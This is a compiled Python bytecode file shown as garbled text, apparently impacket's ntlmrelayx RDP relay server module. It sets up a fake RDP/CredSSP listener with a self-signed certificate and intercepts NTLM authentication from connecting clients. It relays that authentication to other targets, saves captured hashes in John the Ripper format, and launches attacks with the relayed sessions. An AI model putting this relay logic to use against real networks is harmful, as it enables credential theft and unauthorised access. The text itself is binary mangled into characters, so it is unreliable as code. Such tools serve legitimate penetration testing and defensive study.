o
    jF                     @   s   d dl mZ d dl mZ d dlZd dlZd dlZd dlZd dlZd dlm	Z	 d dl
mZ d dlmZmZ d dlmZ d dlmZmZ d d	lmZ d d
lmZ d dlmZmZ d dlmZ G dd de	ZdS )    )division)print_functionN)Thread)SSL)ntlmLOG)STATUS_SUCCESS)outputToJohnFormatwriteJohnOutputToFile)	Structure)activeConnections)ServerTLSContextgenerate_self_signed_cert)get_addressc                   @   s   e Zd ZdZdZdZdZdZdZdZ	dZ
dZG dd	 d	eZG d
d deZG dd deZG dd deZG dd deZG dd dejejZG dd dejZdd Zdd ZdS )RDPRelayServer                  r   c                   @      e Zd ZdZdS )zRDPRelayServer.TPKT))VersionzB=3)ReservedB=0)Lengthz>H)_TPDUz_-TPDUzself["Length"]-4)TPDU:=""N__name__
__module____qualname__	commonHdr r$   r$   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/servers/rdprelayserver.pyTPKT7       r&   c                   @   s   e Zd ZdZdddZdS )zRDPRelayServer.TPDU))LengthIndicatorB)Coder)   )VariablePartr   Nc                 C   s$   t | | |d u rd| d< d S d S )N r+   )r   __init__)selfdatar$   r$   r%   r-   G   s   zRDPRelayServer.TPDU.__init__)N)r    r!   r"   r#   r-   r$   r$   r$   r%   r   @   s    r   c                   @   r   )zRDPRelayServer.CR_TPDU))zDST-REF<H=0)zSRC-REFr0   )zCLASS-OPTIONr   )Typer   )Flagsr   )r   z<H=8Nr   r$   r$   r$   r%   CR_TPDUL   r'   r3   c                   @   r   )zRDPRelayServer.RDP_NEG_REQ))requestedProtocols<LNr    r!   r"   	structurer$   r$   r$   r%   RDP_NEG_REQV   r'   r8   c                   @   r   )zRDPRelayServer.RDP_NEG_RSP))selectedProtocolsr5   Nr6   r$   r$   r$   r%   RDP_NEG_RSPY   r'   r:   c                   @   s   e Zd Zdd ZdS )zRDPRelayServer.RDPServerc                 C   sF   || _ d| _t|d |d | j j\| _}dtj_tj| || d S )NTr   r   )	configdaemon_threadsr   ipv6address_familysocketserver	TCPServerallow_reuse_addressr-   )r.   server_addressRequestHandlerClassr;   r$   r$   r%   r-   ]   s
   z!RDPRelayServer.RDPServer.__init__N)r    r!   r"   r-   r$   r$   r$   r%   	RDPServer\   s    rD   c                   @   sH   e Zd Zdd Zdd Zedd Zdd Zd	d
 Zdd Z	dd Z
dS )zRDPRelayServer.RDPHandlerc              
   C   s   || _ |j| _| jj| _d | _d | _ztj| ||| W d S  tyA } zt	j
ddd t	dt|  W Y d }~d S d }~ww )Nz(RDP): Exception:T)exc_infoz	(RDP): %s)serverr;   targettargetprocessorauthUserr?   BaseRequestHandlerr-   	Exceptionr   debugerrorstr)r.   requestclient_addressrF   er$   r$   r%   r-   e   s   
 z"RDPRelayServer.RDPHandler.__init__c                 C   s  | j }| j}|d }ztd||d f  |d |d}t|dk r)W d S z$t|}|d tj	kr:W W d S t
|d }|d	 tjkrLW W d S W n tyX   Y W d S w |d
 }t|}d|v r|d}	z
|d|	d }
W n! ty   z
|d|	d }
W n ty   t|}
Y nw Y nw |d |	 ||
d   }t|}|d tjkrW d S t|}|d tj@ std W d S | tj}|| td | || W d S  tjy   Y d S  ty } ztdt|  W Y d }~d S d }~ww )Nr   z (RDP): New connection from %s:%sr            r   r   r*   r+   s   Cookie:s   
r      
r1   r4   z3(RDP): Client doesn't support PROTOCOL_HYBRID (NLA)g?z(RDP): Exception in handle: %s)rO   rP   r   info
settimeoutrecvlenr   r&   TPKT_VERSIONr   TPDU_CONNECTION_REQUESTrK   r3   index
ValueErrorTYPE_RDP_NEG_REQr8   PROTOCOL_HYBRIDwarningbuild_rdp_neg_responsesendalltimesleephandle_credsspsockettimeoutrM   rN   )r.   client_socketrP   	client_ipr/   tpkttpduvariable_partcr_tpducookie_start
cookie_endrdp_negresponserQ   r$   r$   r%   handleq   sh   









 z RDPRelayServer.RDPHandler.handlec                 C   s
   |  dS )Ns   NTLMSSP )findr/   r$   r$   r%   find_ntlmssp_in_data   s   
z.RDPRelayServer.RDPHandler.find_ntlmssp_in_datac                 C   s  d }d }zz~t d\}}t||}| }t||}|  d}	d}
t }|	st | |
k rz|d |  d}	t	
d W n4 tjy^   t|gg g d}|d s\Y q)Y n tjyg   Y q) tjyp   Y n tjyy   Y q)w |	st | |
k s3|	st	d W W |rz|  W d S  ty   Y d S w d S |d d }d }	 z|d	}W n' tjy   t|gg g d
}|d rY qY n tjtjfy   Y nw |sn| |}|dkrq||d  }t|dk rqtd|dd d }|dkrt }|| t	
d|d   | jjdd| _| jd u rM| j j!r<| jj"dd | jjdd| _| jd u rMt	#d|d   n7t	
d| jj$| jj%f  | jj$& | j j'vrrt	(d| jj$&   n| j j'| jj$&  | j | jdd}|) st	(d| jj%  n|*|+ }|du s|d u rt	(d n|d }t	
d| jj%  | j j,rt-|d }|tj.= |+ |d< t|+ |d< t|+ |d< | /|+ }|0| n|dkrt1 }|| |2 | _3t	
d| j3|d f  |r,| j j4r,t5||d  |d! |d" |d# }t6|d$ |d% | j j4 |r|7|+ \}}|t8kre|9  t	#d&| j3|d | jj$| jj%|j:f  | j;| jd| j3 | <| nt	(d'| jj$| jj%| j3f  | j;| jd| j3 |=  nqW n ty } zt	(d(t>|  W Y d }~nd }~ww W |rz|  W d S  ty   Y d S w d S |rz|  W w  ty   Y w w w ))Nz
RDP-ServerFi,     Tz"(RDP): TLS established with clientr   z(RDP): TLS handshake failedrS   rR      r5      r   z)(RDP): Received NTLMSSP NEGOTIATE from %s)
multiRelay)full_reloadzI(RDP): Connection from %s controlled, but there are no more targets left!z(RDP): Relaying to %s://%sz (RDP): No protocol client for %s)extendedSecurityz%(RDP): Could not connect to target %sz*(RDP): Failed to get challenge from target	challengez#(RDP): Got CHALLENGE from target %sTargetInfoFieldsTargetInfoFields_lenTargetInfoFields_max_lenr   z/(RDP): Received NTLMSSP AUTHENTICATE from %s@%s	user_namedomain_namelanmanr   hash_stringhash_versionzH(RDP): Authenticating connection from %s@%s against %s://%s SUCCEED [%s]z2(RDP): Authenticating against %s://%s as %s FAILEDz&(RDP): Exception in handle_credssp: %s)?r   r   
getContextr   
Connectionset_accept_staterc   rW   do_handshaker   rL   WantReadErrorselectWantWriteErrorErrorrf   rg   r`   shutdownrK   rX   SysCallErrorru   rY   structunpackr   NTLMAuthNegotiate
fromStringrH   	getTargetrG   r;   keepRelayingreloadTargetsrV   schemenetlocupperprotocolClientsrM   initConnectionsendNegotiategetDataremove_targetAV_PAIRSNTLMSSP_AV_HOSTNAMEbuild_tsrequest_challengerb   NTLMAuthChallengeResponsegetUserStringrI   
outputFiler	   r
   sendAuthr   setClientId	client_idregisterTarget	do_attackkillConnectionrN   )r.   rh   rP   
client_tlsrelay_clientpriv_key_path	cert_path
server_ctxclient_tls_ctxhandshake_completehandshake_timeout
start_timereadyr}   negotiate_messager/   ntlm_offset
ntlm_tokenmessage_typechallenge_messageav_pairschallenge_responseauthenticate_messagentlm_hash_dataclientResponse	errorCoderQ   r$   r$   r%   re      s0  


w












n
z(RDPRelayServer.RDPHandler.handle_credsspc                 C   s   | j jr%| jj | j jjv r%t| jj	|j
| jj | j||jf d S | jj | j jv rI| j j| jj  | j |j| j| j|}|  d S td| jj   d S )Nz"(RDP): No attack configured for %s)r;   runSocksrG   r   r   socksServersupportedSchemesr   puthostname
targetPortrI   sessionDataattackssessionstartr   rM   )r.   clientclientThreadr$   r$   r%   r   R  s   
z#RDPRelayServer.RDPHandler.do_attackc                 C   s   t  }t j|d< ||d< t  }t| d |d< t j|d< | |d< t  }t j|d< t| d |d	< | |d
< | S )Nr1   r9   r   r(   r*   r+   r   rT   r   r   )	r   r:   TYPE_RDP_NEG_RSPr   rY   r   TPDU_CONNECTION_CONFIRMr&   rZ   )r.   protocolrp   rk   rj   r$   r$   r%   ra   c  s   


z0RDPRelayServer.RDPHandler.build_rdp_neg_responsec                    s   dd  dd } fdd} fdd} fd	d
}||}|dt || }|dd t | | }|dd t | | }	|dt |	|	 }
|d}|dt || }||
 }|dd t | | }|S )Nc                 S   s"   | dkrt dd| S t d| S )N   z>BH   r)   r   pack)lengthr$   r$   r%   write_lengthu  s   zIRDPRelayServer.RDPHandler.build_tsrequest_challenge.<locals>.write_lengthc                 S   s    |sdnd| d@ B }t d|S )Nr          r)   r   )tagis_constructedtag_byter$   r$   r%   write_universal_tagz  s   zPRDPRelayServer.RDPHandler.build_tsrequest_challenge.<locals>.write_universal_tagc                    s    d| d@ B }t d| | S )N   r   r)   r   )tag_numsizer   r   r$   r%   write_contextual_tag~  s   zQRDPRelayServer.RDPHandler.build_tsrequest_challenge.<locals>.write_contextual_tagc                    s(   t d| }t dd t| | S )Nr)   r   r   r   rY   )value	int_bytesr   r$   r%   write_integer  s   zJRDPRelayServer.RDPHandler.build_tsrequest_challenge.<locals>.write_integerc                    s   t dd t|  |  S )Nr)   rT   r   rt   r   r$   r%   write_octet_string  s   zORDPRelayServer.RDPHandler.build_tsrequest_challenge.<locals>.write_octet_stringr      Tr   rv   )rY   )r.   challenge_datar   r   r   r   octet_stringctx0	inner_seq	outer_seqctx1version_intctx_versionmain_content
ts_requestr$   r   r%   r   t  s   z3RDPRelayServer.RDPHandler.build_tsrequest_challengeN)r    r!   r"   r-   rr   staticmethodru   re   r   ra   r   r$   r$   r$   r%   
RDPHandlerd   s    :
 $r   c                 C   s    t |  d| _|| _d | _d S )NT)r   r-   daemonr;   rF   )r.   r;   r$   r$   r%   r-     s   

zRDPRelayServer.__init__c                 C   s|   | j jsd| j _td| j j  | | j j| j jf| j| j | _z| j  W n	 t	y1   Y nw td | j
  d S )Ni=  z Setting up RDP Server on port %szShutting down RDP Server)r;   listeningPortr   rV   rD   interfaceIpr   rF   serve_foreverKeyboardInterruptserver_close)r.   r$   r$   r%   run  s    
zRDPRelayServer.runN)r    r!   r"   rZ   r[   r   	TPDU_DATAr^   r   PROTOCOL_RDPPROTOCOL_SSLr_   r   r&   r   r3   r8   r:   r?   ThreadingMixInr@   rD   rJ   r   r-   r   r$   r$   r$   r%   r   (   s*    	
  3r   )
__future__r   r   r   rf   r?   r   rc   	threadingr   OpenSSLr   impacketr   r   impacket.nt_errorsr   impacket.smbserverr	   r
   impacket.structurer   0impacket.examples.ntlmrelayx.servers.socksserverr   *impacket.examples.ntlmrelayx.utils.rdp_sslr   r   impacket.examples.utilsr   r   r$   r$   r$   r%   <module>   s"   